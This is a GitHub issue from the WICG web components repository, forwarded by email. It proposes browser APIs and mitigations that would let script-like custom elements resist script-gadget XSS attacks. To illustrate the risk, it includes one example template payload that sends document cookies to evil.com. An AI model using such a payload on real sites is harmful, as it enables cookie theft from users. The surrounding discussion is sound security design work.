[WICG/webcomponents] Enabling secure script-like custom elements. (Issue #979)

Some custom elements have security concerns that are similar to `<script>`, in the they allow some logic written in HTML to be evaluated. This can lead to [Script Gadget attacks](https://owasp.org/www-pdf-archive/OWASP_BeNeLux-Day_2017_Bypassing_XSS_mitigations_via_script_gadgets_Sebastian_Lekies.pdf).

An example would be a userland declarative custom element system (such as [Stampino Element](https://github.com/justinfagnani/stampino-element)):

```
<stampino-element name="simple-greeter" properties="name">
  <template>
    <h1>Hello {{ name }}!</h1>
  </template>
</stampino-element>
<simple-greeter name="World"></simple-greeter>
```

If such an element definition and instance is inserted from UGC with a weak sanitizer, it could result in various XSS attacks:

```
<stampino-element name="bad-element">
  <template><img src="http://evil.com/?cookie={{this.ownerDocument.cookie}}"></img></template>
</stampino-element>
<bad-element></bad-element>
```

There are some mitigations that script-like elements and expression parsers can implement:
- Script-like elements (ie, the element declaration above) can refuse to go until an imperative API is called. Like:
    ```ts
    document.querySelectorAll('stampino-element').forEach((e) => e.register());
    ```
- Script like elements could require a nonce. I don't think there's a way to validate a nonce against a CSP policy, so pages would have to include the nonce in script:
    ```html
    <script>
      window.stampinoNonce = 172635;
    </script>
    <stampino-element nonce="172635">....</stampino-element>
    ```
- Expression systems can censor certain objects and types. The main goal would be to prevent access reading sensitive data. It's unclear if this is workable in total, but it seems to have similar attributes to building a secure eval with shadow realms. You at least need to prevent access to `globalThis` and probably any DOM object. 
- Binding systems can try to prevent writing potentially sensitive data via Trusted Types. Event without trusted types enabled for the page, the binding system can enforce the use of trusted types on unsafe sinks. This may be difficult in common use-cases and sources of data, such as using an attribute value in an expression flowing into an unsafe sink.

These mitigations could be onerous for the target audience of some of these elements. A common reason for them it to allow customization of HTML elements by "non-programmers". For example, a data-providing element that accepts a template:

```html
<user-events user-id="12345">
  <template slot="event-detail">
    <h2>{{ data.title }}</h2>
    <h3>{{ data.date }}</h3>
  </template>
</user-events>
```

In these cases the host element instantiates the user-provided template (similar to a render prop). Requiring the user to set up a nonce in the page might be too complicated, and it could be done insecurely (a nonce shouldn't be re-used. Usually it _shouldn't_ be in a page, lest it becomes exposed to other scripts, etc. The script writing the nonce should itself be protected by a nonce.). Requiring the user to enable their templates via a `<script>` has similar concerns.

## Potential helper APIs:

There are few capabilities that could help make it possible to write more secure elements:
- The parser-inserted bit. If a custom element can determine if it were parser inserted, it could implement similar running behavior to `<script>`, ie, not run if was added via `innerHTML`. Maybe this could be done with a static property on the definition (`needsParserInserted`) and a property on `ElementInternals`.
- Support for nonces. Either an API to validate a value against the CSP script-src nonce, or built-in support for `nonce` on custom elements and an API on ElementInternals to check that the element is "runnable". This would allow a nonce approach without having to include the nonce in the HTML.
- Ability to determine if values were created from literals, similar to the [Array.isTemplateObject()](https://github.com/tc39/proposal-array-is-template-object) proposal. This might let elements use Trusted Types for bindings, but accept literals from element users in attributes and text content.
- Far out idea: A built-in expression and binding syntax for <template> so that the browser takes care of the security aspects.

-- 
Reply to this email directly or view it on GitHub:
https://github.com/WICG/webcomponents/issues/979
You are receiving this because you are subscribed to this thread.

Message ID: <WICG/webcomponents/issues/979@github.com>

Received on Wednesday, 7 December 2022 17:32:25 UTC